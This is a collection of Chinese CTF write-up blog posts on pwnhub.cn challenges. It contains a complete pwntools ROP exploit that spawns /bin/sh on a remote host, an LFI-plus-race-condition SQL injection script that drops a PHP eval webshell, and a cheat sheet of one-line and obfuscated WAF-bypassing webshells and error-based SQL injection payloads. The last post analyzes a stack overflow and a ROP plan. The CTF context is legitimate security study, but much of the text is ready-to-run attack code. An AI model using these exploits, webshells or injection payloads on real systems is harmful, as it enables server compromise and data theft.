<li>此时该函数会向rbp2-0xd0读入数据0xc1的数据,但是rsp的值却为rbp1,也就是rbp2+0x20,所以rbp和rsp的值是冲突的,这样会导致函数在读入过程中覆盖fread函数以及其调用链的栈帧本身,从而可以libc中fread函数以及接下来的调用链栈帧</li>
<li>覆盖libc中的<strong>__memcpy_sse2</strong>的返回地址为pop rsp的地址,这样就可以劫持rsp到rbp2-0xd0,rbp2-0xd0在第三步的时候已经被准备好了gadget,接下来就愉快的ROP就可以,直接设置rsi rdi rdx 以及rax调syscall就好了</li>
</ol>
<h3 id="踩坑小记">踩坑小记</h3>
<p>我的做法主要是蛋疼之处在于依赖libc的版本,不同libc的版本fwrite函数的调用链栈帧可能不一样,当时我以为远程的系统版本应该是16.04所以我就在16.04调的exp,本地很快就过了,但是远程打不进去,我觉得很蛋疼,于是又在15.04 14.04测试了一下exp,都没有问题。心想该不会是16.10的系统吧,于是又现下了16.10版本,发现我的exp果然在16.10不work,想来是16.10的fwrite函数的调用链的栈帧跟之前的版本不一样了吧。改了几个offset之后打过去果然拿到了shell。</p>
<h2 id="exploit">Exploit</h2>
<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code>
<span class="kn">from</span> <span class="nn">pwn</span> <span class="kn">import</span> <span class="o">*</span><span class="p">;</span>
<span class="n">port</span><span class="o">=</span><span class="mi">17773</span>
<span class="n">objname</span> <span class="o">=</span> <span class="s">"KLHFD34J"</span>
<span class="n">objpath</span> <span class="o">=</span> <span class="s">"./"</span><span class="o">+</span><span class="n">objname</span>
<span class="n">io</span> <span class="o">=</span> <span class="n">process</span><span class="p">(</span><span class="n">objpath</span><span class="p">)</span>
<span class="n">elf</span> <span class="o">=</span> <span class="n">ELF</span><span class="p">(</span><span class="n">objpath</span><span class="p">)</span>
<span class="k">def</span> <span class="nf">readuntil</span><span class="p">(</span><span class="n">delim</span><span class="p">):</span>
<span class="n">data</span> <span class="o">=</span> <span class="n">io</span><span class="o">.</span><span class="n">recvuntil</span><span class="p">(</span><span class="n">delim</span><span class="p">);</span>
<span class="k">return</span> <span class="n">data</span><span class="p">;</span>
<span class="k">def</span> <span class="nf">readlen</span><span class="p">(</span><span class="nb">len</span><span class="p">):</span>
<span class="n">data</span> <span class="o">=</span> <span class="n">io</span><span class="o">.</span><span class="n">recv</span><span class="p">(</span><span class="nb">len</span><span class="p">,</span><span class="mi">1</span><span class="p">);</span>
<span class="k">return</span> <span class="n">data</span><span class="p">;</span>
<span class="k">def</span> <span class="nf">readall</span><span class="p">():</span>
<span class="n">data</span> <span class="o">=</span> <span class="n">io</span><span class="o">.</span><span class="n">recv</span><span class="p">(</span><span class="mi">4096</span><span class="p">,</span><span class="mi">1</span><span class="p">);</span>
<span class="k">return</span> <span class="n">data</span><span class="p">;</span>
<span class="k">def</span> <span class="nf">write</span><span class="p">(</span><span class="n">data</span><span class="p">):</span>
<span class="n">io</span><span class="o">.</span><span class="n">send</span><span class="p">(</span><span class="nb">str</span><span class="p">(</span><span class="n">data</span><span class="p">));</span>
<span class="n">sleep</span><span class="p">(</span><span class="mf">0.1</span><span class="p">);</span>
<span class="k">def</span> <span class="nf">writeline</span><span class="p">(</span><span class="n">data</span><span class="p">):</span>
<span class="n">io</span><span class="o">.</span><span class="n">sendline</span><span class="p">(</span><span class="nb">str</span><span class="p">(</span><span class="n">data</span><span class="p">));</span>
<span class="n">sleep</span><span class="p">(</span><span class="mf">0.1</span><span class="p">);</span>
<span class="k">def</span> <span class="nf">attack</span><span class="p">(</span><span class="n">ip</span><span class="o">=</span><span class="mi">0</span><span class="p">):</span>
<span class="k">global</span> <span class="n">io</span>
<span class="k">if</span> <span class="n">ip</span> <span class="o">!=</span> <span class="mi">0</span><span class="p">:</span>
<span class="n">io</span> <span class="o">=</span> <span class="n">remote</span><span class="p">(</span><span class="n">ip</span><span class="p">,</span><span class="n">port</span><span class="p">)</span>
<span class="n">rbp1</span><span class="o">=</span><span class="mh">0x66c080</span><span class="o">+</span><span class="mh">0xD0</span><span class="o">+</span><span class="mh">0x20</span>
<span class="n">vulfunc</span><span class="o">=</span><span class="mh">0x40D14E</span><span class="p">;</span>
<span class="n">rbp2</span><span class="o">=</span><span class="mh">0x66c080</span><span class="o">+</span><span class="mh">0xD0</span>
<span class="n">binsh</span><span class="o">=</span><span class="mh">0x66c128</span>
<span class="n">read_d0</span><span class="o">=</span><span class="mh">0x401866</span>
<span class="n">poprsp</span><span class="o">=</span><span class="mh">0x0044a5c4</span>
<span class="n">rsp</span><span class="o">=</span><span class="mh">0x66c080</span>
<span class="n">prdx</span><span class="o">=</span><span class="mh">0x0040fe12</span>
<span class="n">pprsi</span><span class="o">=</span><span class="mh">0x0044dc21</span>
<span class="n">prdi</span><span class="o">=</span><span class="mh">0x0044dc23</span>
<span class="n">syscall</span><span class="o">=</span><span class="mh">0x004379d7</span>
<span class="n">readuntil</span><span class="p">(</span><span class="s">"function?</span><span class="se">\n</span><span class="s">"</span><span class="p">)</span>
<span class="n">writeline</span><span class="p">(</span><span class="mi">48607</span><span class="p">);</span>
<span class="n">payload1</span><span class="o">=</span><span class="s">"A"</span><span class="o">*</span><span class="mh">0x20</span><span class="p">;</span>
<span class="n">payload1</span><span class="o">+=</span><span class="n">p64</span><span class="p">(</span><span class="n">rbp1</span><span class="p">)</span>
<span class="n">payload1</span><span class="o">+=</span><span class="n">p64</span><span class="p">(</span><span class="n">vulfunc</span><span class="p">)</span>
<span class="n">write</span><span class="p">(</span><span class="n">payload1</span><span class="p">)</span>
<span class="n">payload2</span><span class="o">=</span><span class="s">"B"</span><span class="o">*</span><span class="mh">0x20</span>
<span class="n">payload2</span><span class="o">+=</span><span class="n">p64</span><span class="p">(</span><span class="n">rbp2</span><span class="p">)</span>
<span class="n">payload2</span><span class="o">+=</span><span class="n">p64</span><span class="p">(</span><span class="n">read_d0</span><span class="p">)</span>
<span class="n">write</span><span class="p">(</span><span class="n">payload2</span><span class="p">)</span>
<span class="n">payload3</span><span class="o">=</span><span class="n">p64</span><span class="p">(</span><span class="n">prdi</span><span class="p">)</span>
<span class="n">payload3</span><span class="o">+=</span><span class="n">p64</span><span class="p">(</span><span class="n">binsh</span><span class="o">-</span><span class="mi">8</span><span class="p">);</span>
<span class="n">payload3</span><span class="o">+=</span><span class="n">p64</span><span class="p">(</span><span class="mh">0x400590</span><span class="p">)</span> <span class="c1">#atoi
</span> <span class="n">payload3</span><span class="o">+=</span><span class="n">p64</span><span class="p">(</span><span class="n">pprsi</span><span class="p">)</span>
<span class="n">payload3</span><span class="o">+=</span><span class="n">p64</span><span class="p">(</span><span class="n">binsh</span><span class="o">+</span><span class="mh">0x300</span><span class="p">);</span><span class="c1">#rsi
</span> <span class="n">payload3</span><span class="o">+=</span><span class="n">p64</span><span class="p">(</span><span class="n">binsh</span><span class="o">+</span><span class="mh">0x300</span><span class="p">);</span><span class="c1">#r15
</span> <span class="n">payload3</span><span class="o">+=</span><span class="n">p64</span><span class="p">(</span><span class="n">prdi</span><span class="p">)</span>
<span class="n">payload3</span><span class="o">+=</span><span class="n">p64</span><span class="p">(</span><span class="n">binsh</span><span class="p">)</span>
<span class="n">payload3</span><span class="o">+=</span><span class="n">p64</span><span class="p">(</span><span class="n">prdx</span><span class="p">)</span>
<span class="n">payload3</span><span class="o">+=</span><span class="n">p64</span><span class="p">(</span><span class="mi">0</span><span class="p">)</span>
<span class="n">payload3</span><span class="o">+=</span><span class="n">p64</span><span class="p">(</span><span class="n">syscall</span><span class="p">)</span>
<span class="n">payload3</span><span class="o">+=</span><span class="s">"C"</span><span class="o">*</span><span class="p">(</span><span class="mh">0x70</span><span class="o">-</span><span class="mi">88</span><span class="p">);</span>
<span class="n">payload3</span><span class="o">+=</span><span class="s">"D"</span><span class="o">*</span><span class="mi">8</span><span class="p">;</span>
<span class="n">payload3</span><span class="o">+=</span><span class="n">p64</span><span class="p">(</span><span class="n">poprsp</span><span class="p">)</span>
<span class="n">payload3</span><span class="o">+=</span><span class="n">p64</span><span class="p">(</span><span class="n">rsp</span><span class="p">)</span>
<span class="n">payload3</span><span class="o">+=</span><span class="s">"E"</span><span class="o">*</span><span class="mi">24</span>
<span class="n">payload3</span><span class="o">+=</span><span class="s">"59"</span><span class="o">+</span><span class="s">"</span><span class="se">\x00</span><span class="s">"</span><span class="o">*</span><span class="mi">6</span><span class="p">;</span>
<span class="n">payload3</span><span class="o">+=</span><span class="s">"/bin/sh</span><span class="se">\x00</span><span class="s">"</span>
<span class="n">payload3</span><span class="o">+=</span><span class="s">"F"</span><span class="o">*</span><span class="mh">0x11</span>
<span class="n">write</span><span class="p">(</span><span class="n">payload3</span><span class="p">)</span>
<span class="n">io</span><span class="o">.</span><span class="n">interactive</span><span class="p">();</span>
<span class="c1">#attack()
</span><span class="n">attack</span><span class="p">(</span><span class="s">"54.223.81.128"</span><span class="p">)</span>
</code></pre></div></div>Atum当天晚上跟大佬们出去high了没做题目,结果第二天起床之后就发现一血二血都被大佬们拿走了,膜pwnhub.cn 拍卖行之旅 raft writeup2016-12-20T00:00:00+08:002016-12-20T00:00:00+08:00http://a7um.github.io/2016/12/20/raft<p>题目没有给bin,只给了一个网站(http://54.223.241.254/),看起来是一个膜火日的网站。。我也来膜一发火日。。</p>
<p>网站有本地文件包含漏洞</p>
<div class="highlighter-rouge"><div class="highlight"><pre class="highlight"><code>http://54.223.241.254/?page=/etc/passwd
</code></pre></div></div>
<p>利用这个漏洞可以读取服务器上文件,也可以用此方法读到binary文件,至于如何找,只要依次访问如下文件就可以。</p>
<div class="highlighter-rouge"><div class="highlight"><pre class="highlight"><code>https://hub.docker.com/r/eadom/ctf_xinetd/~/dockerfile/
http://54.223.241.254/?page=/etc/xinetd.d/ctf
http://54.223.241.254/?page=/home/ctf/raft
</code></pre></div></div>
<p>拿到binary以后就可以分析了</p>
<h2 id="漏洞分析利用">漏洞分析&利用</h2>
<p>这题binary文件很大,所以漏洞比较隐秘。由于binary中函数比较多,所以从头逆向是下下之策。</p>
<p>我直接通过string 定位到了SQL语句。</p>
<div class="highlighter-rouge"><div class="highlight"><pre class="highlight"><code>snprintf(&s, 500uLL, "INSERT INTO TOKENS (TOKENS, PASSWORD) VALUES('%s', '%s')", v5, v4, v17);
v22 = mysql_query(v18, (__int64)&s);
</code></pre></div></div>
<p>看起来v4如果可控的话,是有注入攻击的。那v4到底是否可控呢?</p>
<p>简单的逆一下这个函数的父函数、主函数等相关函数发现,程序提供了reg password\bid price两大功能,而v4是password的md5值,所以并不可控。然后发现这个程序居然是多线程的,心想可不可能是racecondition,由于C++的binary看起来太蛋疼,我就干脆直接写一个fuzzer跑了一下:</p>
<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kn">from</span> <span class="nn">pwn</span> <span class="kn">import</span> <span class="o">*</span><span class="p">;</span>
<span class="kn">import</span> <span class="nn">random</span><span class="p">;</span>
<span class="n">io</span><span class="o">=</span><span class="n">process</span><span class="p">(</span><span class="s">"./raft"</span><span class="p">);</span>
<span class="k">def</span> <span class="nf">bid</span><span class="p">(</span><span class="n">data</span><span class="p">):</span>
<span class="n">io</span><span class="o">.</span><span class="n">sendline</span><span class="p">(</span><span class="s">"bid "</span><span class="o">+</span><span class="n">data</span><span class="p">);</span>
<span class="k">def</span> <span class="nf">reg</span><span class="p">(</span><span class="n">passwd</span><span class="p">):</span>
<span class="n">io</span><span class="o">.</span><span class="n">sendline</span><span class="p">(</span><span class="s">"reg "</span><span class="o">+</span><span class="n">passwd</span><span class="p">);</span>
<span class="k">def</span> <span class="nf">printhelp</span><span class="p">(</span><span class="n">cmd</span><span class="p">):</span>
<span class="n">io</span><span class="o">.</span><span class="n">sendline</span><span class="p">(</span><span class="s">"help"</span><span class="o">+</span><span class="n">cmd</span><span class="p">);</span>
<span class="k">while</span><span class="p">(</span><span class="mi">1</span><span class="p">):</span>
<span class="k">try</span><span class="p">:</span>
<span class="n">r0</span><span class="o">=</span><span class="n">random</span><span class="o">.</span><span class="n">randint</span><span class="p">(</span><span class="mi">0</span><span class="p">,</span><span class="mi">995</span><span class="p">);</span>
<span class="n">r1</span><span class="o">=</span><span class="n">random</span><span class="o">.</span><span class="n">randint</span><span class="p">(</span><span class="mi">0</span><span class="p">,</span><span class="mi">995</span><span class="p">);</span>
<span class="n">r2</span><span class="o">=</span><span class="n">random</span><span class="o">.</span><span class="n">randint</span><span class="p">(</span><span class="mi">0</span><span class="p">,</span><span class="mi">995</span><span class="p">);</span>
<span class="n">r3</span><span class="o">=</span><span class="n">random</span><span class="o">.</span><span class="n">randint</span><span class="p">(</span><span class="mi">0</span><span class="p">,</span><span class="mi">2</span><span class="p">);</span>
<span class="k">if</span> <span class="n">r3</span><span class="o">==</span><span class="mi">1</span><span class="p">:</span>
<span class="n">bid</span><span class="p">(</span><span class="s">"A"</span><span class="o">*</span><span class="n">r1</span><span class="p">)</span>
<span class="k">elif</span> <span class="n">r3</span><span class="o">==</span><span class="mi">2</span><span class="p">:</span>
<span class="n">reg</span><span class="p">(</span><span class="s">"B"</span><span class="o">*</span><span class="n">r2</span><span class="p">)</span>
<span class="k">else</span><span class="p">:</span>
<span class="n">printhelp</span><span class="p">(</span><span class="s">"C"</span><span class="o">*</span><span class="n">r0</span><span class="p">);</span>
<span class="k">print</span> <span class="n">io</span><span class="o">.</span><span class="n">recv</span><span class="p">(</span><span class="mi">1000</span><span class="p">,</span><span class="mi">1</span><span class="p">)</span>
<span class="k">except</span><span class="p">:</span>
<span class="n">io</span><span class="o">=</span><span class="n">process</span><span class="p">(</span><span class="s">"./raft"</span><span class="p">)</span>
<span class="n">time</span><span class="o">.</span><span class="n">sleep</span><span class="p">(</span><span class="mi">1</span><span class="p">)</span>
<span class="k">continue</span><span class="p">;</span>
</code></pre></div></div>
<p>然后查询本地的数据库,很快就发现了password竟然被插入了AAAAAAAA…,看来果真是racecondition,根据fuzzer生成的数据最终发现每次被插入AAAAAAAA…的时候,都是一个reg跟好几个bid,看起来是reg跟bid之间的争用,继续逆向程序,果然在0x429f发现了这个race condition。reg password中的存储md5(password)与bid price中的存储price用的是同一个内存,如果先跑一个reg,再跑n个bid的话,reg算好的md5(password)可能会被bid的price覆盖。这样我们就可以进行SQL注入了。</p>
<p>然后我是一个pwn选手。。 pwn选手。 pwn选手 pwn选 pwn pw p。。。。。</p>
<p>于是乎现学了爆表名、报错注入等一系列高端知识,把数据库翻了个底朝天,并没有找到flag。。然后接着想办法用select xxx into yyy上传webshell,上传了好几个小时,一直没上传进去,以为是权限不够,查阅各种资料,甚至还爆了secure_file_priv。。搞了几个小时,最后发现传不上去的原因是我传的那几个目录都不可写。。。。。。。最后传到/tmp终于成功了。。</p>
<p>接下来的问题就是成功了用菜刀连居然没反应,本来以为是被waf过滤掉了,于是乎到网上学习各种花式绕过waf的方法,都没成功。后来又想是不是LFI之后webshell就没法访问了,于是乎又到网上学了各种姿势尝试把webshell传到var/www/html目录下,又没成功,搞了几个小时,搞的tmp目录下都是我传的各种webshell,最后发现原来是菜刀的问题。。。菜刀连不上这个站。。直接用firefox手动操作就可以了。</p>
<div class="highlighter-rouge"><div class="highlight"><pre class="highlight"><code>最后上传 <?php echo system($_POST[1]);?> 到/tmp/1234.php
做以下两个post请求就可以看到flag。。
http://54.223.241.254/?page=/tmp/1234.php
1=ls /home/ctf
http://54.223.241.254/?page=/tmp/1234.php
1=cat /home/ctf/this-is-real-flag000
</code></pre></div></div>
<p>做完这题,我觉得我可以转web了。。。学了好多web知识</p>
<h2 id="exploit">Exploit</h2>
<p>为了让大家看到我做题的艰辛,= =我决定保留注释</p>
<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kn">from</span> <span class="nn">pwn</span> <span class="kn">import</span> <span class="o">*</span><span class="p">;</span>
<span class="kn">import</span> <span class="nn">random</span><span class="p">;</span>
<span class="c1">#io=process("./raft");
</span><span class="n">io</span><span class="o">=</span><span class="n">remote</span><span class="p">(</span><span class="s">"54.223.241.254"</span><span class="p">,</span> <span class="mi">22333</span><span class="p">)</span>
<span class="n">fd</span><span class="o">=</span><span class="nb">open</span><span class="p">(</span><span class="s">"a.in"</span><span class="p">,</span><span class="s">"w"</span><span class="p">);</span>
<span class="k">def</span> <span class="nf">bid</span><span class="p">(</span><span class="n">data</span><span class="p">):</span>
<span class="n">io</span><span class="o">.</span><span class="n">sendline</span><span class="p">(</span><span class="s">"bid "</span><span class="o">+</span><span class="n">data</span><span class="p">);</span>
<span class="n">fd</span><span class="o">.</span><span class="n">write</span><span class="p">(</span><span class="s">"bid "</span><span class="o">+</span><span class="n">data</span><span class="o">+</span><span class="s">"</span><span class="se">\n</span><span class="s">"</span><span class="p">)</span>
<span class="k">def</span> <span class="nf">reg</span><span class="p">(</span><span class="n">passwd</span><span class="p">):</span>
<span class="n">io</span><span class="o">.</span><span class="n">sendline</span><span class="p">(</span><span class="s">"reg "</span><span class="o">+</span><span class="n">passwd</span><span class="p">);</span>
<span class="n">fd</span><span class="o">.</span><span class="n">write</span><span class="p">(</span><span class="s">"reg "</span><span class="o">+</span><span class="n">passwd</span><span class="o">+</span><span class="s">"</span><span class="se">\n</span><span class="s">"</span><span class="p">)</span>
<span class="k">while</span><span class="p">(</span><span class="mi">1</span><span class="p">):</span>
<span class="k">try</span><span class="p">:</span>
<span class="n">r1</span><span class="o">=</span><span class="n">random</span><span class="o">.</span><span class="n">randint</span><span class="p">(</span><span class="mi">0</span><span class="p">,</span><span class="mi">800</span><span class="p">);</span>
<span class="n">r2</span><span class="o">=</span><span class="n">random</span><span class="o">.</span><span class="n">randint</span><span class="p">(</span><span class="mi">0</span><span class="p">,</span><span class="mi">800</span><span class="p">);</span>
<span class="n">r3</span><span class="o">=</span><span class="n">random</span><span class="o">.</span><span class="n">randint</span><span class="p">(</span><span class="mi">0</span><span class="p">,</span><span class="mi">1</span><span class="p">);</span>
<span class="c1"># sql="22');SELECT 'kaokaokao' INTO OUTFILE '/tmp/12c3ha4.txt'#"
</span> <span class="n">sql</span><span class="o">=</span><span class="s">"22');SELECT '<?php eval($_POST[1]);?>' INTO OUTFILE '/tmp/1234567.php'#"</span>
<span class="c1"># sql="22');SELECT '<?php fputs(fopen(\"/tmp/shell257.php\",\"w\"),\"<?php ;?>\");?>' INTO OUTFILE '/tmp/noip97.php'#"
</span>
<span class="c1">#sql="22');SELECT '<?php @eval($_POST['passwd']);?>\n<b>123<b>' INTO OUTFILE '/tmp/noip5.php'#"
</span> <span class="c1">#sql="22');INSERT INTO BID (PRICE,TOKENS) VALUES(222,(select TOKENS from BID where PRICE=222)+'"
</span> <span class="c1">#sql="22');INSERT INTO BID (PRICE,TOKENS) VALUES(222,(select @@secure_file_priv))#"
</span> <span class="c1">#sql="123'+ (select TOKENS from BID where TOKENS =1233 and (updatexml(0x3a,concat(1,("
</span> <span class="c1"># payload="select @@secure_file_priv"
</span> <span class="c1"># payload="select concat(group_concat(distinct table_name)) from information_schema.tables where table_schema=0x696e666f726d6174696f6e5f736368656d61"
</span> <span class="c1">#payload="select concat(group_concat(distinct table_name)) from information_schema.tables where table_schema=0x646174657769746866697265"
</span> <span class="c1">#payload="select concat(group_concat(distinct schema_name)) from information_schema.schemata"
</span> <span class="c1">#payload="select concat(group_concat(distinct column_name)) from information_schema.columns where table_schema=0x646174657769746866697265 and table_name=0x544f4b454e53"
</span> <span class="c1">#payload="select concat(group_concat(distinct column_name)) from information_schema.columns where table_schema=0x646174657769746866697265 and table_name=0x424944"
</span>
<span class="c1"># sql2=")),1))));INSERT INTO TOKENS (TOKENS, PASSWORD) VALUES('123', '123"
</span> <span class="c1"># sql=sql+payload+sql2
</span> <span class="c1">#if r3:
</span> <span class="c1"># bid("A"*r1)
</span> <span class="c1"># else:
</span> <span class="c1"># reg("B"*r2)
</span> <span class="n">reg</span><span class="p">(</span><span class="s">"B"</span><span class="o">*</span><span class="mi">888</span><span class="p">)</span>
<span class="k">for</span> <span class="n">i</span> <span class="ow">in</span> <span class="nb">range</span><span class="p">(</span><span class="mi">10</span><span class="p">):</span>
<span class="n">bid</span><span class="p">(</span><span class="n">sql</span><span class="p">);</span>
<span class="k">print</span> <span class="n">io</span><span class="o">.</span><span class="n">recv</span><span class="p">(</span><span class="mi">1000</span><span class="p">,</span><span class="mi">1</span><span class="p">)</span>
<span class="k">except</span><span class="p">:</span>
<span class="c1"># io=process("./raft")
</span> <span class="n">io</span><span class="o">=</span><span class="n">remote</span><span class="p">(</span><span class="s">"54.223.241.254"</span><span class="p">,</span> <span class="mi">22333</span><span class="p">)</span>
<span class="n">time</span><span class="o">.</span><span class="n">sleep</span><span class="p">(</span><span class="mi">1</span><span class="p">)</span>
<span class="k">continue</span><span class="p">;</span>
</code></pre></div></div>
<p>好气啊,pwn漏洞老早就搞定了,卡web卡了10多小时,妈妈我要学习web!!</p>
<p>最后的最后,暴打出题人,膜火日。膜抢走我一血的bird。</p>Atum题目没有给bin,只给了一个网站(http://54.223.241.254/),看起来是一个膜火日的网站。。我也来膜一发火日。。WEB知识汇总贴2016-12-18T00:00:00+08:002016-12-18T00:00:00+08:00http://a7um.github.io/2016/12/18/webkwl<p>今天怼了一道pwnhub.cn的pwn题,然后那道pwn题最终是要利用一个sql注入。。然后今天学了各种WEB姿势,先开个帖,以后碰到以后总结</p>
<h2 id="文件包含漏洞">文件包含漏洞</h2>
<p>典型值</p>
<div class="highlighter-rouge"><div class="highlight"><pre class="highlight"><code>index.php?page=xxx;
xxx可能是md5、也可能是文件名
文件包含漏洞可以直接读各种文件,也可以怼php伪协议执行任意php代码,上传webshell
</code></pre></div></div>
<h2 id="webshell的各种姿势">webshell的各种姿势</h2>
<h4 id="各种一句话木马">各种一句话木马</h4>
<div class="language-php highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="cp"><?php</span> <span class="k">echo</span> <span class="nb">system</span><span class="p">(</span><span class="nv">$_POST</span><span class="p">[</span><span class="mi">1</span><span class="p">]);</span><span class="cp">?></span>
---
POST 1=ls /home/ctf
<span class="cp"><?php</span> <span class="k">eval</span><span class="p">(</span><span class="nv">$_POST</span><span class="p">[</span><span class="mi">1</span><span class="p">]);</span><span class="cp">?></span>
<span class="cp"><?php</span> <span class="k">eval</span><span class="p">(</span><span class="nv">$_POST</span><span class="p">[</span><span class="s1">'passwd'</span><span class="p">]);</span><span class="cp">?></span>
可以用菜刀直接连
<span class="cp"><?php</span> <span class="nb">fputs</span><span class="p">(</span><span class="nb">fopen</span><span class="p">(</span><span class="s1">'shell.php'</span><span class="p">,</span><span class="s1">'w'</span><span class="p">),</span><span class="s1">'<?php eval($_POST[shell])?>'</span><span class="p">);</span><span class="cp">?></span>
可以改变木马等输出路径、也可以利用解析漏洞去解析木马
</code></pre></div></div>
<p>还有各种混淆版本,绕过waf,如</p>
<div class="language-php highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="cp"><?php</span> <span class="o">@</span><span class="nv">$_</span><span class="o">++</span><span class="p">;</span>
<span class="nv">$__</span><span class="o">=</span><span class="p">(</span><span class="s2">"#"</span><span class="o">^</span><span class="s2">"|"</span><span class="p">)</span><span class="o">.</span><span class="p">(</span><span class="s2">"."</span><span class="o">^</span><span class="s2">"~"</span><span class="p">)</span><span class="o">.</span><span class="p">(</span><span class="s2">"/"</span><span class="o">^</span><span class="s2">"`"</span><span class="p">)</span><span class="o">.</span><span class="p">(</span><span class="s2">"|"</span><span class="o">^</span><span class="s2">"/"</span><span class="p">)</span><span class="o">.</span><span class="p">(</span><span class="s2">"{"</span><span class="o">^</span><span class="s2">"/"</span><span class="p">);</span> <span class="c1">// $__的值为_POST</span>
<span class="o">@</span><span class="nv">${$__}</span><span class="p">[</span><span class="o">!</span><span class="nv">$_</span><span class="p">](</span><span class="nv">${$__}</span><span class="p">[</span><span class="nv">$_</span><span class="p">]);</span><span class="cp">?></span>
</code></pre></div></div>
<p>也可以base64等各种编码解码。参考资料:</p>
<ul>
<li>http://www.91ri.org/11494.html</li>
<li>http://www.mamicode.com/info-detail-1466690.html</li>
<li>http://www.shangxueba.com/jingyan/1617540.html</li>
</ul>
<p>菜刀不管用可以手动测试分析问题,有时候菜刀就是不管用</p>
<h2 id="各种sql注入">各种SQL注入</h2>
<h3 id="爆数据库名表名列名">爆数据库名、表名、列名</h3>
<div class="highlighter-rouge"><div class="highlight"><pre class="highlight"><code>select concat(group_concat(distinct schema_name)) from information_schema.schemata
select concat(group_concat(distinct table_name)) from information_schema.tables where table_schema=十六进制数据库名
select concat(group_concat(distinct column_name)) from information_schema.columns where table_schema=十六进制数据库名 and table_name=十六进制表名
</code></pre></div></div>
<h3 id="报错注入">报错注入</h3>
<p>如果能够回显SQL的错误信息,则可以通过报错注入爆各种想爆的信息</p>
<div class="highlighter-rouge"><div class="highlight"><pre class="highlight"><code>select * from TOKENS where PASSWORD = 1 and (updatexml(0x3a,concat(1,(select user())),1))
---
ERROR 1105 (HY000): XPATH syntax error: 'pwnhub@localhost'
</code></pre></div></div>
<div class="highlighter-rouge"><div class="highlight"><pre class="highlight"><code>insert into TOKENS (TOKENS,PASSWORD) VALUES('222',''+(select TOKENS from BID where TOKENS =1233 and (updatexml(0x3a,concat(1,(select @@secure_file_priv)),1))));
---
ERROR 1105 (HY000): XPATH syntax error: '/var/lib/mysql-files/'
</code></pre></div></div>
<div class="highlighter-rouge"><div class="highlight"><pre class="highlight"><code>insert into TOKENS (TOKENS,PASSWORD) VALUES('222',''+(select TOKENS from BID where TOKENS =1233 and (updatexml(0x3a,concat(1,(select concat(group_concat(distinct table_name)) from information_schema.tables where table_schema=0x646174657769746866697265)),1))))
---
ERROR 1105 (HY000): XPATH syntax error: 'BID,TOKENS'
</code></pre></div></div>
<p>更多详见http://www.cnblogs.com/Dleo/p/5493782.html</p>
<h3 id="sql盲注">SQL盲注</h3>
<h4 id="bool-盲注">bool 盲注</h4>
<h3 id="利用sql注入上传一句话木马">利用SQL注入上传一句话木马</h3>
<div class="highlighter-rouge"><div class="highlight"><pre class="highlight"><code>SELECT '<?php eval($_POST[1]);?>' INTO OUTFILE '/tmp/shell.php'
</code></pre></div></div>
<p>能否上传成功取决于select @@secure_file_priv的值,如果为空则在mysql层面上不做访问控制,如果为某目录则只能写到该目录中</p>
<div class="highlighter-rouge"><div class="highlight"><pre class="highlight"><code>select @@secure_file_priv
</code></pre></div></div>
<h2 id="其他基础知识">其他基础知识</h2>
<h3 id="mysql相关">MYSQL相关</h3>
<div class="highlighter-rouge"><div class="highlight"><pre class="highlight"><code>CREATE USER 'username'@'host' IDENTIFIED BY 'password';
grant all privileges on *.* to pwnhub@localhost
</code></pre></div></div>Atum今天怼了一道pwnhub.cn的pwn题,然后那道pwn题最终是要利用一个sql注入。。然后今天学了各种WEB姿势,先开个帖,以后碰到以后总结pwnhub.cn 神秘人的捉弄 pwn Writeup2016-12-10T00:00:00+08:002016-12-10T00:00:00+08:00http://a7um.github.io/2016/12/10/pwn<p>这个题目输入数据必须为题目中指定的数据包的格式,否则程序会直接exit。如果输入符合格式,v 会让你很粗对包进行解析,根据解析道结果继续读入新的包进行进一步解析,之后会开启socket进行IO。</p>
<h2 id="漏洞分析">漏洞分析</h2>
<p>本题有两个漏洞,一个是栈溢出漏洞,一个是堆溢出漏洞(getname的时候len+1可能导致malloc(0)),只不过可以利用的只有栈溢出漏洞。栈溢出漏洞存在于sub_401281中</p>
<div class="highlighter-rouge"><div class="highlight"><pre class="highlight"><code> if ( *((_BYTE *)src + readlen - 1) > 8 )
{
write(1, &error2, 2uLL);
exit(0);
}
readlen -= *((char *)src + readlen - 1);
memcpy(s1, src, readlen);
</code></pre></div></div>
<p>在代码<strong>readlen -= *((char *)src + readlen - 1)</strong>中,如果<strong>*((char *)src + readlen - 1)</strong>为负数,则readlen会不减反增,从而导致readlen最大可能为0x178,而s1是栈上的0x100大小的buffer,因此<strong>memcpy(s1, src, readlen);</strong>会产生栈溢出。
。</p>
<p>值得注意的是,在比较语句<strong>if ( *((_BYTE *)src + readlen - 1) > 8 )</strong>中,8是有符号数,所以<strong>*((char *)src + readlen - 1)</strong>为负数不会使之成立,这也是漏洞存在的根本原因。如果这里的8是无符号的话(就像上一个长相差不多的if),那这里就不会存在漏洞了。</p>
<h2 id="漏洞利用">漏洞利用</h2>
<p>这题的漏洞利用有一个比较烦的地方就是跟payload构造比较麻烦:</p>
<ol>
<li>存在漏洞的函数要求我们的数据为<strong>“\x01”+hex(len(data1))+data1+hex(len(data2))+data2</strong>。其中data1和data2为长度最大为0xf8的DES密文,且以DES CBC解密的结果的第一个分组必须为admin\x00与explorer\x00,解密结果的最后一位会作为<strong>readlen -= *((char *)src + readlen - 1)</strong>中的<strong>*((char *)src + readlen - 1)</strong>参与溢出触发的payload的构造。</li>
<li>在<strong>memcpy(s1, src, readlen);</strong>中,src为攻击者可控最大为0xf8的堆上buffer,当readlen为0x178时,剩下的0x178-0xf8的内容来源于与src相邻的堆块,这个堆块存储的data2,所以要想利用栈溢出做ROP,我们必须要在CBC模式中构造一个密文本身是ROP gadget,解密出的明文的第一个分组为admin\x00的密文。</li>
</ol>
<p>这些问题其实就是密码学的问题,第一个问题比较好解决,通过逆向可以找到key和iv,然后加密就好了。第二个的难点是如何在DES CBC中找到对应某个密文的明文。这个可能会卡一会,但是花些时间演算一下也不难解决。</p>
<p>接下来就是做ROP了,ROP调用wirte函数把write_got的内容打出来,并算出system和binsh的地址,然后返回main,重新触发漏洞,再次做ROP调用system(binsh)。</p>
